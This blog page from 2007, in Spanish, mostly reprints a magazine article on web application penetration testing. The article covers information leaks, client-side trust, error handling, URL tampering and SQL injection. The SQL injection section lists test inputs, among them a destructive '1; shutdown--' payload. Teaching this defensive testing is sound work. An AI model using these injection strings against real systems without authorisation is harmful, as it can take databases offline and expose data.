UN MILLÓN DE GRACIAS A: Miguel Angel Rámos, Juanma "informático y Cristiano", Penyaskito, Trident white, silverhack, Mañe (hermano de silverhack), Pedro Laguna, Peula, Paco, Mezcua, Unai, María, Elena, Ander, Iñaki, Carles, Comino, Monica, Beatriz, Murillo, Fernando, Sobrinos, Librero, Miguel por organizarlo todo "vaya curra!", Ethel por los besos que me dejaste y me dieron, Caramelito varela, Vargas, Sor citroen, la camarera encantadora que me puso las cervezas, los comandos de Oviedo, Madrid y Huelva que estaban por allí, Matías, y a todos los demás que esta resaca no me deja recordar.

A todos un BESAZO!

PD: Cabronazos, enviadme las fotos que no tengo ninguna y quiero ver lo vergonzosos que ibamos.


Este blog está en Fuera de Servicio hasta mañana....

sábado, junio 02, 2007

Videos Inseguros

De Octubre a Diciembre de 2006 el program Technet (dónde gobierna nuestro nunca del todo bien valorado excelso Alberto Amescua, quien tiene en la lista negra de su curriculo en Spectra haberme nominado como MVP tiempo ha cuando trabajaba en ese programa) realizó una Gira de Seguridad en la que ibamos realizando las demos de como atacar los sistemas de mensajería instantánea y las comunicaciones de Voz sobre IP y luego como securizarlas y esas cosas. Para ello se creo un mini site que se llama Inseguros para la promoción de toda la gira. Como promoción hicimos el idiota un rato grabando los tres tontos de siempre, a saber: el abuelo, el cervi y el menda, los tres vídeos que están aquí. Los hemos recuperado, así que los tenéis disponibles, para que os de un poco de verguenza ajena.



Situación Ascensor


Situación Reunión


Situación Presentación


Saludos malignos!

viernes, junio 01, 2007

Test de Intrusión Web

Después de haber estado escribiendo durante tres meses en la revista PCWorld sobre Test de Intrusión no me quedó ningún espacio para hablar algo de mi temática preferida, las webs, así que decidí dedicar el mes siguiente a insitir sobre la necesidad de preocuparse por la seguridad de las aplicaciones web.

El artículo se publicó en Mayo de 2007 y lo tendréis publicado en dos partes. Hoy os dejo la primera. En el mes de Junio de 2007 en PCWorld he escrito sobre otro de mis niños preferidos "Blind SQL Injection".

Saludos!

Test Intrusion Web (parte I de II)

**********************************************************************************
Artículo publicado en PCWorld Mayo de 2007.
Lee la segunda parte en Test Intrusión Web (parte II de II)
**********************************************************************************

Durante los tres meses anteriores hemos estado centrados en el test de intrusión en un sistema y hemos ido viendo tanto las herramientas como los procedimientos. Cuando tratamos con un sistema nos encontramos ante un entorno en el que se están utilizando protocolos, arquitecturas y aplicativos comerciales o estandarizados, es decir, podemos tener un servidor Apache o un servidor con Internet Information Services 6, un DNS de Windows Server 2003 SP1, etc... En esos entornos utilizar las herramientas de fingerprinting o los scanners de vulnerabilidades es perfecto ya que están adaptados para buscar las características y fallos de seguridad del software de uso público, pero… ¿qué sucede con esa aplicación web desarrollada por tu equipo de programación? ¿Serán capaces esas herramientas de detectar un fallo de seguridad en vuestro software? Existen herramientas con aproximaciones como veremos, pero es mucho más artesano que en el caso de los sistemas. Puedes tener un fallo de seguridad en un bonito radio button que le permita al atacante tumbar tu servidor de bases de datos y los test de intrusión anteriores te dirán que tu sistema está bien.

En el presente artículo intentaré mostraros algunos de los errores más comunes que me he encontrado durante el proceso de test de intrusión en aplicaciones web, una de mis mayores “aficiones profesionales”. Aunque algunas de ellas os suenen a ciencia ficción y leyenda urbana puedo prometeros que tengo referencias reales en primera persona de todas ellas. Aunque os voy a dar algunas herramientas para poder realizar algunas cosas hay que tener en cuenta que nos encontramos con software desarrollado, generalmente, a medida, por lo que el trabajo “artesano”. Es fundamental.

Código Limpio

La primera forma que utiliza cualquier usuario malintencionado para atacar un sistema es simplemente leer el código fuente ofertado por el desarrollador. Como dice un amigo mío: “leer es barato y se aprende mucho”. Por eso, es muy importante, que los códigos de las páginas web sean lo más limpios posibles. Solo deben ocuparse de las funciones relativas al Interfaz de usuario. No debe dejarse comentarios, ni incluirse ficheros que no se vayan a utilizar. De hay se saca mucha información sobre la estructura del sitio web al que nos enfrentamos.

Fichero Robots.txt y Estadísticas

Los buscadores de Internet utilizan arañas que rastrean todos los dominios publicados en Internet e indexan toda la información del sitio. Esto puede llevar a que se indexe información sensible que pueda ser descubierta a través de los motores de búsqueda de estas arañas. Es conveniente utilizar el fichero robots.txt para evitar que las arañas recojan información de nuestro sitio que pueda ser sensible, pero claro, si pones en el fichero que no indexe /admin/ y /basededatos/ o algo así le estás dando información al atacante que, con solo leerse ese fichero de la estructura del sitio y va a encontrar los directorios prohibidos. Lo mismo sucede con las estadísticas. Si estas son públicas cualquiera va a poder ver la estructura del sitio y sería como tener el listado de directorios abierto, peor aún, porque los programas que reciban parámetros por get van a quedar reflejados con sus parámetros. Configura de forma segura las estadísticas. De igual forma, no uses directorios ocultos, ficheros de configuración o bases de datos accesibles y predecibles. Te sorprendería la imaginación de un atacante.

Fichero Robots con un directorio SCR “sospechoso”

Awstats mal configurado en un sitio web

Datos desde el Cliente

Todos los datos que vengan desde el cliente pueden ser manipulados, están en la máquina del atacante, así que son suyos y decide que es lo que te envía. Si dejas algo en manos del cliente, asume que puede ser tocado. No pongas ninguna autenticación en Javascript, Flash, ActiveX o Applet Java. Por desgracia, aunque parezca muy evidente, aún es muy común encontrar aplicaciones web protegidas por películas flash. Si tienes una tienda online, nunca utilices el precio que se te envía desde el cliente. ¿A que parece una chorrada?

En la imagen tienes una captura de Odysseus un “Local Proxy” que se utiliza para manipular los datos que se envían desde el cliente en peticiones por Post o por Get a la web. Existen varios como BurpSuite o Achilles, pero en todos los casos el funcionamiento es similar. Los datos salen del navegador del cliente cumpliendo todas las restricciones que se hayan puesto en javascript, cookies, etc.. y llegan al programa que actúa como Proxy y para los datos para que sean manipulados.

Intercepción de datos con Odysseus

Los algoritmos matemáticos tampoco sirven para nada. En esos casos, se pide una contraseña, a la que se la va a pasar por un “complejo” algoritmo y se va a generar un numerito. Si el numerito es correcto se navega a esa página (que generalmente no se puede ver porque no está en el código y depende de la contraseña) y si no se deniega. Todos esos algoritmos se rompen con ingeniería inversa y, o ya está roto porque es comercial, o bien te lo van a romper por ser tuyo.

Con autenticaciones y protecciones de este tipo vas a defenderte de técnicoless, no de atacantes.

Protección con Javascprit

Cuando se realiza un test de intrusión a una aplicación web se va a mirar con “cariño” toda la información que tenga el cliente para ver “qué sucede”.

Tratamiento de todos los errores

Los atacantes intentan realizar ingeniera inversa y extraer información de las aplicaciones en base a los mensajes de error. Es importante que se controlen absolutamente todas las posibilidades que puedan generar error en cualquier procedimiento por parte del programador. Para cada acción de error se debe realizar un tratamiento seguro del mismo y evitar dar ninguna información útil a un posible atacante.

Es recomendable que los errores se auditen pues puede representar un fallo en la aplicación o un intento de ataque. Se puede afirmar que casi el 100 % de los atacantes a un sistema van a generar algún error en la aplicación en la fase de “trasteo”.


Error de una base de datos que da información a un ataque de SQL Injection. No parece Oracle.

Manipulación de URL & cookies

Los parámetros que se mantienen en una URL compleja son una forma más de datos en el lado del cliente. Una URL del tipo:

- http://www.miwebsite.com/prog.aspx?i=122212&i=0&p=ED00FAD3AF0A03&q=8&mode=list&code=RFADSF34SdF==

Esta URL está pidiendo a gritos que se intente decodificar, averiguar para que se usan todos y cada uno de los parámetros, intentar saber porque se ha usado un Hash en Hexadecimal (MD3, MD4 o MD5) o en Base64. Lo que se codifique en la URL debe ser comprobado constantemente en el servidor ya que un usuario malicioso puede descubrir que va codificado ahí y cambiar la información codificando otros datos con lo que pueden producirse riesgos de elevación de privilegios, denegación de servicio o incluso ataques de sql injection. Todo esto se aplica de igual forma a la información que se pone en una cookie.

SQL Injection

Es una vulnerabilidad documentada y explicada y remarcada hasta el infinito y más allá, sin embargo encontrar una aplicación que tire de una base de datos y no tenga es una vulnerabilidad es para darle un premio. La gente asume que basta con quitarle la comilla en los parámetros pero con eso no basta (el mes que viene haremos una explicación detallada de cómo proteger nuestra aplicación contra un ataque a ciegas). Cuando tengamos una aplicación que tire de una base de datos debemos mirar todos, absolutamente todos los datos que nos vengan desde fuera y estemos utilizando en consultas a bases de datos. Cuando digo todos, me refiero a TODOS, es decir, todos los campos de formularios, los values de checkbuttons y radiobuttons, los parámetros de consultas javascript, los valores de las cookies, los valores de los campos http, etc… No importa que pensemos que a esa función solo la llamo yo desde una librería javascript que le pasa el parámetro, si alguien quiere atacar tu web va a saber realizar esa llamada y si no va a aprender. Si tienes que hacer unas pruebas con tu aplicación prueba a meter a todos los parámetros comandos sql del siguiente tipo: pagina.asp?id=1 y allí pon 1’a a ver si rompe, o 1 or 1=1 a ver si devuelve más de lo que debe o -1 or 1=1 a ver si devuelve algo cuando no lo debía o 1 and 1=3 a ver si no devuelve nada o 1; shutdown—(uff, cuidado con esto último, no vaya a ser que funcione). En el momento que el comportamiento de la web no sea el esperado tendremos un problema que alguien va a saber explotar.

Fortificación de la base de datos

Las consultas que se lanzan desde la aplicación a la base de datos mediante consultas SQL se ejecutan dentro del servidor de bases de datos en el contexto de la cuenta de usuario que utiliza el programador. Es importante que estén controlados los permisos que tiene ese usuario sobre todos los objetos y sobre los objetos de las demás bases de datos que comparten el servidor. Así mismo, es necesario que ningún otro usuario de ninguna otra base de datos pueda acceder a la información de ésta.

Una vulnerabilidad de SQL Injection podría permitir a un usuario de la aplicación Web apagar el servidor de bases de datos, acceder a cualquier información de cualquier base de datos que comparta dicho servidor e incluso ejecutar, mediante procedimientos almacenados, comandos en el sistema operativo.

Parada de una base de datos por un fallo de SQL Injection


**********************************************************************************
Artículo publicado en PCWorld Mayo de 2007.
Lee la segunda parte en Test Intrusión Web (parte II de II)
**********************************************************************************